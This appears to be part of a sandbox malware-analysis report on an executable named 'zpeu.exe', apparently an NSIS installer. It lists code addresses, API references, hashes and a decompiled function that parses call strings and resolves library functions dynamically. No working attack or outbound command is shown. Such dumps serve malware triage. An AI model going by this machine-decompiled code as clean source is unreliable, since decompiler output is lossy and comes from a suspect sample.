                                      0x00404936
                                      0x00404939
                                      0x0040493c
                                      0x00404943
                                      0x00404943
                                      0x00404945
                                      0x00404945
                                      0x0040494a
                                      0x0040494c
                                      0x00404954
                                      0x0040495b
                                      0x0040495d
                                      0x00404968
                                      0x00404968
                                      0x0040495d
                                      0x00404978
                                      0x00404982
                                      0x0040498a
                                      0x004049a5
                                      0x0040498c
                                      0x00404995
                                      0x00404995
                                      0x0040498a
                                      0x004049aa
                                      0x004049af
                                      0x004049b4
                                      0x004049bd
                                      0x004049bd
                                      0x004049c6
                                      0x004049c8
                                      0x004049c8
                                      0x004049d4
                                      0x004049dc
                                      0x004049e6
                                      0x004049e6
                                      0x004049eb
                                      0x00000000
                                      0x004049eb
                                      0x00404895
                                      0x0040484c
                                      0x00404853
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00404853
                                      0x00404772
                                      0x0040477b
                                      0x00404795
                                      0x0040479a
                                      0x004047a4
                                      0x004047ab
                                      0x004047b7
                                      0x004047ba
                                      0x004047bd
                                      0x004047c4
                                      0x004047cc
                                      0x004047cf
                                      0x004047d3
                                      0x004047da
                                      0x004047e2
                                      0x0040483c
                                      0x004047e4
                                      0x004047e5
                                      0x004047ec
                                      0x004047f6
                                      0x004047fe
                                      0x0040480b
                                      0x0040481f
                                      0x00404823
                                      0x00404823
                                      0x0040481f
                                      0x00404828
                                      0x00404835
                                      0x00404835
                                      0x004047e2
                                      0x00000000
                                      0x0040479a
                                      0x00404788
                                      0x00000000
                                      0x00000000
                                      0x0040478e
                                      0x00000000
                                      0x004046f9
                                      0x00404706
                                      0x0040470f
                                      0x0040471c
                                      0x0040471c
                                      0x00404723
                                      0x00404729
                                      0x00404732
                                      0x00404735
                                      0x00404738
                                      0x00404740
                                      0x00404743
                                      0x00404746
                                      0x0040474c
                                      0x00404753
                                      0x0040475a
                                      0x004049f1
                                      0x00404a03
                                      0x00404760
                                      0x00404763
                                      0x00000000
                                      0x00404763
                                      0x0040475a

                                      APIs
                                      • GetDlgItem.USER32(?,000003FB), ref: 004046FF
                                      • SetWindowTextW.USER32(00000000,?), ref: 00404729
                                      • SHBrowseForFolderW.SHELL32(?), ref: 004047DA
                                      • CoTaskMemFree.OLE32(00000000), ref: 004047E5
                                      • lstrcmpiW.KERNEL32(Call,004236E8,00000000,?,?), ref: 00404817
                                      • lstrcatW.KERNEL32(?,Call), ref: 00404823
                                      • SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404835
                                        • Part of subcall function 00405892: GetDlgItemTextW.USER32(?,?,00000400,0040486C), ref: 004058A5
                                        • Part of subcall function 004064E0: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\zpeu.exe",00403318,C:\Users\user\AppData\Local\Temp\,77033420,00403589,?,00000006,00000008,0000000A), ref: 00406543
                                        • Part of subcall function 004064E0: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 00406552
                                        • Part of subcall function 004064E0: CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\zpeu.exe",00403318,C:\Users\user\AppData\Local\Temp\,77033420,00403589,?,00000006,00000008,0000000A), ref: 00406557
                                        • Part of subcall function 004064E0: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\zpeu.exe",00403318,C:\Users\user\AppData\Local\Temp\,77033420,00403589,?,00000006,00000008,0000000A), ref: 0040656A
                                      • GetDiskFreeSpaceW.KERNEL32(004216B8,?,?,0000040F,?,004216B8,004216B8,?,00000001,004216B8,?,?,000003FB,?), ref: 004048F8
                                      • MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404913
                                        • Part of subcall function 00404A6C: lstrlenW.KERNEL32(004236E8,004236E8,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B0D
                                        • Part of subcall function 00404A6C: wsprintfW.USER32 ref: 00404B16
                                        • Part of subcall function 00404A6C: SetDlgItemTextW.USER32(?,004236E8), ref: 00404B29
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
                                      • String ID: A$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth$Call$6B
                                      • API String ID: 2624150263-1065254660
                                      • Opcode ID: b1d243ae95704861e4402fcc76362414c1757fd644608bb3aee2509e1b30c864
                                      • Instruction ID: 3caff43168dd0751864d44f5cbb06f26c6104a46936f7057387f9fb8a2ee2b83
                                      • Opcode Fuzzy Hash: b1d243ae95704861e4402fcc76362414c1757fd644608bb3aee2509e1b30c864
                                      • Instruction Fuzzy Hash: DFA197F1A00209ABDB11AFA5CD45AAF77B8EF84714F10843BF601B62D1D77C99418B6D
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 95%
                                      			E10001B18() {
                                      				signed int _v8;
                                      				signed int _v12;
                                      				signed int _v16;
                                      				signed int _v20;
                                      				WCHAR* _v24;
                                      				WCHAR* _v28;
                                      				signed int _v32;
                                      				signed int _v36;
                                      				signed int _v40;
                                      				WCHAR* _v44;
                                      				signed int _v48;
                                      				void* _v52;
                                      				intOrPtr _v56;
                                      				WCHAR* _t199;
                                      				signed int _t202;
                                      				void* _t204;
                                      				void* _t206;
                                      				WCHAR* _t208;
                                      				void* _t216;
                                      				struct HINSTANCE__* _t217;
                                      				struct HINSTANCE__* _t218;
                                      				struct HINSTANCE__* _t220;
                                      				signed short _t222;
                                      				struct HINSTANCE__* _t225;
                                      				struct HINSTANCE__* _t227;
                                      				void* _t228;
                                      				intOrPtr* _t229;
                                      				void* _t240;
                                      				signed char _t241;
                                      				signed int _t242;
                                      				struct HINSTANCE__* _t248;
                                      				void* _t249;
                                      				signed int _t251;
                                      				short* _t253;
                                      				signed int _t259;
                                      				void* _t260;
                                      				signed int _t263;
                                      				signed int _t266;
                                      				signed int _t267;
                                      				signed int _t272;
                                      				signed int _t273;
                                      				signed int _t274;
                                      				signed int _t275;
                                      				void* _t278;
                                      				void* _t282;
                                      				struct HINSTANCE__* _t284;
                                      				signed int _t287;
                                      				void _t288;
                                      				signed int _t289;
                                      				signed int _t301;
                                      				signed int _t302;
                                      				signed short _t308;
                                      				signed int _t309;
                                      				WCHAR* _t310;
                                      				WCHAR* _t312;
                                      				WCHAR* _t313;
                                      				struct HINSTANCE__* _t314;
                                      				void* _t316;
                                      				signed int _t318;
                                      				void* _t319;
                                      
                                      				_t284 = 0;
                                      				_v32 = 0;
                                      				_v36 = 0;
                                      				_v16 = 0;
                                      				_v8 = 0;
                                      				_v40 = 0;
                                      				_t319 = 0;
                                      				_v48 = 0;
                                      				_t199 = E1000121B();
                                      				_v24 = _t199;
                                      				_v28 = _t199;
                                      				_v44 = E1000121B();
                                      				_t309 = E10001243();
                                      				_v52 = _t309;
                                      				_v12 = _t309;
                                      				while(1) {
                                      					_t202 = _v32;
                                      					_v56 = _t202;
                                      					if(_t202 != _t284 && _t319 == _t284) {
                                      						break;
                                      					}
                                      					_t308 =  *_t309;
                                      					_t287 = _t308 & 0x0000ffff;
                                      					_t204 = _t287 - _t284;
                                      					if(_t204 == 0) {
                                      						_t33 =  &_v32;
                                      						 *_t33 = _v32 | 0xffffffff;
                                      						__eflags =  *_t33;
                                      						L17:
                                      						_t206 = _v56 - _t284;
                                      						if(_t206 == 0) {
                                      							__eflags = _t319 - _t284;
                                      							 *_v28 = _t284;
                                      							if(_t319 == _t284) {
                                      								_t319 = GlobalAlloc(0x40, 0x1ca4);
                                      								 *(_t319 + 0x1010) = _t284;
                                      								 *(_t319 + 0x1014) = _t284;
                                      							}
                                      							_t288 = _v36;
                                      							_t43 = _t319 + 8; // 0x8
                                      							_t208 = _t43;
                                      							_t44 = _t319 + 0x808; // 0x808
                                      							_t310 = _t44;
                                      							 *_t319 = _t288;
                                      							_t289 = _t288 - _t284;
                                      							__eflags = _t289;
                                      							 *_t208 = _t284;
                                      							 *_t310 = _t284;
                                      							 *(_t319 + 0x1008) = _t284;
                                      							 *(_t319 + 0x100c) = _t284;
                                      							 *(_t319 + 4) = _t284;
                                      							if(_t289 == 0) {
                                      								__eflags = _v28 - _v24;
                                      								if(_v28 == _v24) {
                                      									goto L39;
                                      								}
                                      								_t316 = 0;
                                      								GlobalFree(_t319);
                                      								_t319 = E10001311(_v24);
                                      								__eflags = _t319 - _t284;
                                      								if(_t319 == _t284) {
                                      									goto L39;
                                      								} else {
                                      									goto L32;
                                      								}
                                      								while(1) {
                                      									L32:
                                      									_t240 =  *(_t319 + 0x1ca0);
                                      									__eflags = _t240 - _t284;
                                      									if(_t240 == _t284) {
                                      										break;
                                      									}
                                      									_t316 = _t319;
                                      									_t319 = _t240;
                                      									__eflags = _t319 - _t284;
                                      									if(_t319 != _t284) {
                                      										continue;
                                      									}
                                      									break;
                                      								}
                                      								__eflags = _t316 - _t284;
                                      								if(_t316 != _t284) {
                                      									 *(_t316 + 0x1ca0) = _t284;
                                      								}
                                      								_t241 =  *(_t319 + 0x1010);
                                      								__eflags = _t241 & 0x00000008;
                                      								if((_t241 & 0x00000008) == 0) {
                                      									_t242 = _t241 | 0x00000002;
                                      									__eflags = _t242;
                                      									 *(_t319 + 0x1010) = _t242;
                                      								} else {
                                      									_t319 = E1000158F(_t319);
                                      									 *(_t319 + 0x1010) =  *(_t319 + 0x1010) & 0xfffffff5;
                                      								}
                                      								goto L39;
                                      							} else {
                                      								_t301 = _t289 - 1;
                                      								__eflags = _t301;
                                      								if(_t301 == 0) {
                                      									L28:
                                      									lstrcpyW(_t208, _v44);
                                      									L29:
                                      									lstrcpyW(_t310, _v24);
                                      									L39:
                                      									_v12 = _v12 + 2;
                                      									_v28 = _v24;
                                      									L63:
                                      									if(_v32 != 0xffffffff) {
                                      										_t309 = _v12;
                                      										continue;
                                      									}
                                      									break;
                                      								}
                                      								_t302 = _t301 - 1;
                                      								__eflags = _t302;
                                      								if(_t302 == 0) {
                                      									goto L29;
                                      								}
                                      								__eflags = _t302 != 1;
                                      								if(_t302 != 1) {
                                      									goto L39;
                                      								}
                                      								goto L28;
                                      							}
                                      						}
                                      						if(_t206 != 1) {
                                      							goto L39;
                                      						}
                                      						_t248 = _v16;
                                      						if(_v40 == _t284) {
                                      							_t248 = _t248 - 1;
                                      						}
                                      						 *(_t319 + 0x1014) = _t248;
                                      						goto L39;
                                      					}
                                      					_t249 = _t204 - 0x23;
                                      					if(_t249 == 0) {
                                      						__eflags = _t309 - _v52;
                                      						if(_t309 <= _v52) {
                                      							L15:
                                      							_v32 = _t284;
                                      							_v36 = _t284;
                                      							goto L17;
                                      						}
                                      						__eflags =  *((short*)(_t309 - 2)) - 0x3a;
                                      						if( *((short*)(_t309 - 2)) != 0x3a) {
                                      							goto L15;
                                      						}
                                      						__eflags = _v32 - _t284;
                                      						if(_v32 == _t284) {
                                      							L40:
                                      							_t251 = _v32 - _t284;
                                      							__eflags = _t251;
                                      							if(_t251 == 0) {
                                      								__eflags = _t287 - 0x2a;
                                      								if(_t287 == 0x2a) {
                                      									_v36 = 2;
                                      									L61:
                                      									_t309 = _v12;
                                      									_v28 = _v24;
                                      									_t284 = 0;
                                      									__eflags = 0;
                                      									L62:
                                      									_t318 = _t309 + 2;
                                      									__eflags = _t318;
                                      									_v12 = _t318;
                                      									goto L63;
                                      								}
                                      								__eflags = _t287 - 0x2d;
                                      								if(_t287 == 0x2d) {
                                      									L131:
                                      									__eflags = _t308 - 0x2d;
                                      									if(_t308 != 0x2d) {
                                      										L134:
                                      										_t253 = _t309 + 2;
                                      										__eflags =  *_t253 - 0x3a;
                                      										if( *_t253 != 0x3a) {
                                      											L141:
                                      											_v28 =  &(_v28[0]);
                                      											 *_v28 = _t308;
                                      											goto L62;
                                      										}
                                      										__eflags = _t308 - 0x2d;
                                      										if(_t308 == 0x2d) {
                                      											goto L141;
                                      										}
                                      										_v36 = 1;
                                      										L137:
                                      										_v12 = _t253;
                                      										__eflags = _v28 - _v24;
                                      										if(_v28 <= _v24) {
                                      											 *_v44 = _t284;
                                      										} else {
                                      											 *_v28 = _t284;
                                      											lstrcpyW(_v44, _v24);
                                      										}
                                      										goto L61;
                                      									}
                                      									_t253 = _t309 + 2;
                                      									__eflags =  *_t253 - 0x3e;
                                      									if( *_t253 != 0x3e) {
                                      										goto L134;
                                      									}
                                      									_v36 = 3;
                                      									goto L137;
                                      								}
                                      								__eflags = _t287 - 0x3a;
                                      								if(_t287 != 0x3a) {
                                      									goto L141;
                                      								}
                                      								goto L131;
                                      							}
                                      							_t259 = _t251 - 1;
                                      							__eflags = _t259;
                                      							if(_t259 == 0) {
                                      								L74:
                                      								_t260 = _t287 - 0x22;
                                      								__eflags = _t260 - 0x55;
                                      								if(_t260 > 0x55) {
                                      									goto L61;
                                      								}
                                      								switch( *((intOrPtr*)(( *(_t260 + 0x10002230) & 0x000000ff) * 4 +  &M100021CC))) {
                                      									case 0:
                                      										__ecx = _v24;
                                      										__edi = _v12;
                                      										while(1) {
                                      											__edi = __edi + 1;
                                      											__edi = __edi + 1;
                                      											_v12 = __edi;
                                      											__ax =  *__edi;
                                      											__eflags = __ax - __dx;
                                      											if(__ax != __dx) {
                                      												goto L116;
                                      											}
                                      											L115:
                                      											__eflags =  *((intOrPtr*)(__edi + 2)) - __dx;
                                      											if( *((intOrPtr*)(__edi + 2)) != __dx) {
                                      												L120:
                                      												 *__ecx =  *__ecx & 0x00000000;
                                      												__ebx = E1000122C(_v24);
                                      												goto L91;
                                      											}
                                      											L116:
                                      											__eflags = __ax;
                                      											if(__ax == 0) {
                                      												goto L120;
                                      											}
                                      											__eflags = __ax - __dx;
                                      											if(__ax == __dx) {
                                      												__edi = __edi + 1;
                                      												__edi = __edi + 1;
                                      												__eflags = __edi;
                                      											}
                                      											__ax =  *__edi;
                                      											 *__ecx =  *__edi;
                                      											__ecx = __ecx + 1;
                                      											__ecx = __ecx + 1;
                                      											__edi = __edi + 1;
                                      											__edi = __edi + 1;
                                      											_v12 = __edi;
                                      											__ax =  *__edi;
                                      											__eflags = __ax - __dx;
                                      											if(__ax != __dx) {
                                      												goto L116;
                                      											}
                                      											goto L115;
                                      										}
                                      									case 1:
                                      										_v8 = 1;
                                      										goto L61;
                                      									case 2:
                                      										_v8 = _v8 | 0xffffffff;
                                      										goto L61;
                                      									case 3:
                                      										_v8 = _v8 & 0x00000000;
                                      										_v20 = _v20 & 0x00000000;
                                      										_v16 = _v16 + 1;
                                      										goto L79;
                                      									case 4:
                                      										__eflags = _v20;
                                      										if(_v20 != 0) {
                                      											goto L61;
                                      										}
                                      										_v12 = _v12 - 2;
                                      										__ebx = E1000121B();
                                      										 &_v12 = E10001A9F( &_v12);
                                      										__eax = E10001470(__edx, __eax, __edx, __ebx);
                                      										goto L91;
                                      									case 5:
                                      										L99:
                                      										_v20 = _v20 + 1;
                                      										goto L61;
                                      									case 6:
                                      										_push(7);
                                      										goto L107;
                                      									case 7:
                                      										_push(0x19);
                                      										goto L127;
                                      									case 8:
                                      										_push(0x15);
                                      										goto L127;
                                      									case 9:
                                      										_push(0x16);
                                      										goto L127;
                                      									case 0xa:
                                      										_push(0x18);
                                      										goto L127;
                                      									case 0xb:
                                      										_push(5);
                                      										goto L107;
                                      									case 0xc:
                                      										__eax = 0;
                                      										__eax = 1;
                                      										goto L85;
                                      									case 0xd:
                                      										_push(6);
                                      										goto L107;
                                      									case 0xe:
                                      										_push(2);
                                      										goto L107;
                                      									case 0xf:
                                      										_push(3);
                                      										goto L107;
                                      									case 0x10:
                                      										_push(0x17);
                                      										L127:
                                      										_pop(__ebx);
                                      										goto L92;
                                      									case 0x11:
                                      										__eax =  &_v12;
                                      										__eax = E10001A9F( &_v12);
                                      										__ebx = __eax;
                                      										__ebx = __eax + 1;
                                      										__eflags = __ebx - 0xb;
                                      										if(__ebx < 0xb) {
                                      											__ebx = __ebx + 0xa;
                                      										}
                                      										goto L91;
                                      									case 0x12:
                                      										__ebx = 0xffffffff;
                                      										goto L92;
                                      									case 0x13:
                                      										_v48 = _v48 + 1;
                                      										_push(4);
                                      										_pop(__eax);
                                      										goto L85;
                                      									case 0x14:
                                      										__eax = 0;
                                      										__eflags = 0;
                                      										goto L85;
                                      									case 0x15:
                                      										_push(4);
                                      										L107:
                                      										_pop(__eax);
                                      										L85:
                                      										__edi = _v16;
                                      										__ecx =  *(0x1000305c + __eax * 4);
                                      										__edi = _v16 << 5;
                                      										__edx = 0;
                                      										__edi = (_v16 << 5) + __esi;
                                      										__edx = 1;
                                      										__eflags = _v8 - 0xffffffff;
                                      										_v40 = 1;
                                      										 *(__edi + 0x1018) = __eax;
                                      										if(_v8 == 0xffffffff) {
                                      											L87:
                                      											__ecx = __edx;
                                      											L88:
                                      											__eflags = _v8 - __edx;
                                      											 *(__edi + 0x1028) = __ecx;
                                      											if(_v8 == __edx) {
                                      												__eax =  &_v12;
                                      												__eax = E10001A9F( &_v12);
                                      												__eax = __eax + 1;
                                      												__eflags = __eax;
                                      												_v8 = __eax;
                                      											}
                                      											__eax = _v8;
                                      											 *((intOrPtr*)(__edi + 0x101c)) = _v8;
                                      											_t133 = _v16 + 0x81; // 0x81
                                      											_t133 = _t133 << 5;
                                      											__eax = 0;
                                      											__eflags = 0;
                                      											 *((intOrPtr*)((_t133 << 5) + __esi)) = 0;
                                      											 *((intOrPtr*)(__edi + 0x1030)) = 0;
                                      											 *((intOrPtr*)(__edi + 0x102c)) = 0;
                                      											goto L91;
                                      										}
                                      										__eflags = __ecx;
                                      										if(__ecx > 0) {
                                      											goto L88;
                                      										}
                                      										goto L87;
                                      									case 0x16:
                                      										_t262 =  *(_t319 + 0x1014);
                                      										__eflags = _t262 - _v16;
                                      										if(_t262 > _v16) {
                                      											_v16 = _t262;
                                      										}
                                      										_v8 = _v8 & 0x00000000;
                                      										_v20 = _v20 & 0x00000000;
                                      										_v36 - 3 = _t262 - (_v36 == 3);
                                      										if(_t262 != _v36 == 3) {
                                      											L79:
                                      											_v40 = 1;
                                      										}
                                      										goto L61;
                                      									case 0x17:
                                      										__eax =  &_v12;
                                      										__eax = E10001A9F( &_v12);
                                      										__ebx = __eax;
                                      										__ebx = __eax + 1;
                                      										L91:
                                      										__eflags = __ebx;
                                      										if(__ebx == 0) {
                                      											goto L61;
                                      										}
                                      										L92:
                                      										__eflags = _v20;
                                      										_v40 = 1;
                                      										if(_v20 != 0) {
                                      											L97:
                                      											__eflags = _v20 - 1;
                                      											if(_v20 == 1) {
                                      												__eax = _v16;
                                      												__eax = _v16 << 5;
                                      												__eflags = __eax;
                                      												 *(__eax + __esi + 0x102c) = __ebx;
                                      											}
                                      											goto L99;
                                      										}
                                      										_v16 = _v16 << 5;
                                      										_t141 = __esi + 0x1030; // 0x1030
                                      										__edi = (_v16 << 5) + _t141;
                                      										__eax =  *__edi;
                                      										__eflags = __eax - 0xffffffff;
                                      										if(__eax <= 0xffffffff) {
                                      											L95:
                                      											__eax = GlobalFree(__eax);
                                      											L96:
                                      											 *__edi = __ebx;
                                      											goto L97;
                                      										}
                                      										__eflags = __eax - 0x19;
                                      										if(__eax <= 0x19) {
                                      											goto L96;
                                      										}
                                      										goto L95;
                                      									case 0x18:
                                      										goto L61;
                                      								}
                                      							}
                                      							_t263 = _t259 - 1;
                                      							__eflags = _t263;
                                      							if(_t263 == 0) {
                                      								_v16 = _t284;
                                      								goto L74;
                                      							}
                                      							__eflags = _t263 != 1;
                                      							if(_t263 != 1) {
                                      								goto L141;
                                      							}
                                      							_t266 = _t287 - 0x21;
                                      							__eflags = _t266;
                                      							if(_t266 == 0) {
                                      								_v8 =  ~_v8;
                                      								goto L61;
                                      							}
                                      							_t267 = _t266 - 0x42;
                                      							__eflags = _t267;
                                      							if(_t267 == 0) {
                                      								L57:
                                      								__eflags = _v8 - 1;
                                      								if(_v8 != 1) {
                                      									_t92 = _t319 + 0x1010;
                                      									 *_t92 =  *(_t319 + 0x1010) &  !0x00000001;
                                      									__eflags =  *_t92;
                                      								} else {
                                      									 *(_t319 + 0x1010) =  *(_t319 + 0x1010) | 1;
                                      								}
                                      								_v8 = 1;
                                      								goto L61;
                                      							}
                                      							_t272 = _t267;
                                      							__eflags = _t272;
                                      							if(_t272 == 0) {
                                      								_push(0x20);
                                      								L56:
                                      								_pop(1);
                                      								goto L57;
                                      							}
                                      							_t273 = _t272 - 9;
                                      							__eflags = _t273;
                                      							if(_t273 == 0) {
                                      								_push(8);
                                      								goto L56;
                                      							}
                                      							_t274 = _t273 - 4;
                                      							__eflags = _t274;
                                      							if(_t274 == 0) {
                                      								_push(4);
                                      								goto L56;
                                      							}
                                      							_t275 = _t274 - 1;
                                      							__eflags = _t275;
                                      							if(_t275 == 0) {
                                      								_push(0x10);
                                      								goto L56;
                                      							}
                                      							__eflags = _t275 != 0;
                                      							if(_t275 != 0) {
                                      								goto L61;
                                      							}
                                      							_push(0x40);
                                      							goto L56;
                                      						}
                                      						goto L15;
                                      					}
                                      					_t278 = _t249 - 5;
                                      					if(_t278 == 0) {
                                      						__eflags = _v36 - 3;
                                      						_v32 = 1;
                                      						_v8 = _t284;
                                      						_v20 = _t284;
                                      						_v16 = (0 | _v36 == 0x00000003) + 1;
                                      						_v40 = _t284;
                                      						goto L17;
                                      					}
                                      					_t282 = _t278 - 1;
                                      					if(_t282 == 0) {
                                      						_v32 = 2;
                                      						_v8 = _t284;
                                      						_v20 = _t284;
                                      						goto L17;
                                      					}
                                      					if(_t282 != 0x16) {
                                      						goto L40;
                                      					} else {
                                      						_v32 = 3;
                                      						_v8 = 1;
                                      						goto L17;
                                      					}
                                      				}
                                      				GlobalFree(_v52);
                                      				GlobalFree(_v24);
                                      				GlobalFree(_v44);
                                      				if(_t319 == _t284 ||  *(_t319 + 0x100c) != _t284) {
                                      					L161:
                                      					return _t319;
                                      				} else {
                                      					_t216 =  *_t319 - 1;
                                      					if(_t216 == 0) {
                                      						_t178 = _t319 + 8; // 0x8
                                      						_t312 = _t178;
                                      						__eflags =  *_t312 - _t284;
                                      						if( *_t312 != _t284) {
                                      							_t217 = GetModuleHandleW(_t312);
                                      							__eflags = _t217 - _t284;
                                      							 *(_t319 + 0x1008) = _t217;
                                      							if(_t217 != _t284) {
                                      								L150:
                                      								_t183 = _t319 + 0x808; // 0x808
                                      								_t313 = _t183;
                                      								_t218 = E100015FF( *(_t319 + 0x1008), _t313);
                                      								__eflags = _t218 - _t284;
                                      								 *(_t319 + 0x100c) = _t218;
                                      								if(_t218 == _t284) {
                                      									__eflags =  *_t313 - 0x23;
                                      									if( *_t313 == 0x23) {
                                      										_t186 = _t319 + 0x80a; // 0x80a
                                      										_t222 = E10001311(_t186);
                                      										__eflags = _t222 - _t284;
                                      										if(_t222 != _t284) {
                                      											__eflags = _t222 & 0xffff0000;
                                      											if((_t222 & 0xffff0000) == 0) {
                                      												 *(_t319 + 0x100c) = GetProcAddress( *(_t319 + 0x1008), _t222 & 0x0000ffff);
                                      											}
                                      										}
                                      									}
                                      								}
                                      								__eflags = _v48 - _t284;
                                      								if(_v48 != _t284) {
                                      									L157:
                                      									_t313[lstrlenW(_t313)] = 0x57;
                                      									_t220 = E100015FF( *(_t319 + 0x1008), _t313);
                                      									__eflags = _t220 - _t284;
                                      									if(_t220 != _t284) {
                                      										L145:
                                      										 *(_t319 + 0x100c) = _t220;
                                      										goto L161;
                                      									}
                                      									__eflags =  *(_t319 + 0x100c) - _t284;
                                      									L159:
                                      									if(__eflags != 0) {
                                      										goto L161;
                                      									}
                                      									L160:
                                      									_t197 = _t319 + 4;
                                      									 *_t197 =  *(_t319 + 4) | 0xffffffff;
                                      									__eflags =  *_t197;
                                      									goto L161;
                                      								} else {
                                      									__eflags =  *(_t319 + 0x100c) - _t284;
                                      									if( *(_t319 + 0x100c) != _t284) {
                                      										goto L161;
                                      									}
                                      									goto L157;
                                      								}
                                      							}
                                      							_t225 = LoadLibraryW(_t312);
                                      							__eflags = _t225 - _t284;
                                      							 *(_t319 + 0x1008) = _t225;
                                      							if(_t225 == _t284) {
                                      								goto L160;
                                      							}
                                      							goto L150;
                                      						}
                                      						_t179 = _t319 + 0x808; // 0x808
                                      						_t227 = E10001311(_t179);
                                      						 *(_t319 + 0x100c) = _t227;
                                      						__eflags = _t227 - _t284;
                                      						goto L159;
                                      					}
                                      					_t228 = _t216 - 1;
                                      					if(_t228 == 0) {
                                      						_t176 = _t319 + 0x808; // 0x808
                                      						_t229 = _t176;
                                      						__eflags =  *_t229 - _t284;
                                      						if( *_t229 == _t284) {
                                      							goto L161;
                                      						}
                                      						_t220 = E10001311(_t229);
                                      						L144:
                                      						goto L145;
                                      					}
                                      					if(_t228 != 1) {
                                      						goto L161;
                                      					}
                                      					_t80 = _t319 + 8; // 0x8
                                      					_t285 = _t80;
                                      					_t314 = E10001311(_t80);
                                      					 *(_t319 + 0x1008) = _t314;
                                      					if(_t314 == 0) {
                                      						goto L160;
                                      					}
                                      					 *(_t319 + 0x104c) =  *(_t319 + 0x104c) & 0x00000000;
                                      					 *((intOrPtr*)(_t319 + 0x1050)) = E1000122C(_t285);
                                      					 *(_t319 + 0x103c) =  *(_t319 + 0x103c) & 0x00000000;
                                      					 *((intOrPtr*)(_t319 + 0x1048)) = 1;
                                      					 *((intOrPtr*)(_t319 + 0x1038)) = 1;
                                      					_t89 = _t319 + 0x808; // 0x808
                                      					_t220 =  *(_t314->i + E10001311(_t89) * 4);
                                      					goto L144;
                                      				}
                                      			}































































                                      0x10001b20
                                      0x10001b23
                                      0x10001b26
                                      0x10001b29
                                      0x10001b2c
                                      0x10001b2f
                                      0x10001b32
                                      0x10001b34
                                      0x10001b37
                                      0x10001b3c
                                      0x10001b3f
                                      0x10001b47
                                      0x10001b4f
                                      0x10001b51
                                      0x10001b54
                                      0x10001b5c
                                      0x10001b5c
                                      0x10001b61
                                      0x10001b64
                                      0x00000000
                                      0x00000000
                                      0x10001b6e
                                      0x10001b71
                                      0x10001b76
                                      0x10001b78
                                      0x10001beb
                                      0x10001beb
                                      0x10001beb
                                      0x10001bef
                                      0x10001bf2
                                      0x10001bf4
                                      0x10001c16
                                      0x10001c18
                                      0x10001c1b
                                      0x10001c2a
                                      0x10001c2c
                                      0x10001c32
                                      0x10001c32
                                      0x10001c38
                                      0x10001c3b
                                      0x10001c3b
                                      0x10001c3e
                                      0x10001c3e
                                      0x10001c44
                                      0x10001c46
                                      0x10001c46
                                      0x10001c48
                                      0x10001c4b
                                      0x10001c4e
                                      0x10001c54
                                      0x10001c5a
                                      0x10001c5d
                                      0x10001c81
                                      0x10001c84
                                      0x00000000
                                      0x00000000
                                      0x10001c87
                                      0x10001c89
                                      0x10001c97
                                      0x10001c9a
                                      0x10001c9c
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x10001c9e
                                      0x10001c9e
                                      0x10001c9e
                                      0x10001ca4
                                      0x10001ca6
                                      0x00000000
                                      0x00000000
                                      0x10001ca8
                                      0x10001caa
                                      0x10001cac
                                      0x10001cae
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x10001cae
                                      0x10001cb0
                                      0x10001cb2
                                      0x10001cb4
                                      0x10001cb4
                                      0x10001cba
                                      0x10001cc0
                                      0x10001cc2
                                      0x10001cd6
                                      0x10001cd6
                                      0x10001cd8
                                      0x10001cc4
                                      0x10001cca
                                      0x10001ccd
                                      0x10001ccd
                                      0x00000000
                                      0x10001c5f
                                      0x10001c5f
                                      0x10001c5f
                                      0x10001c60
                                      0x10001c68
                                      0x10001c6c
                                      0x10001c72
                                      0x10001c76
                                      0x10001cde
                                      0x10001ce1
                                      0x10001ce5
                                      0x10001d70
                                      0x10001d74
                                      0x10001b59
                                      0x00000000
                                      0x10001b59
                                      0x00000000
                                      0x10001d74
                                      0x10001c62
                                      0x10001c62
                                      0x10001c63
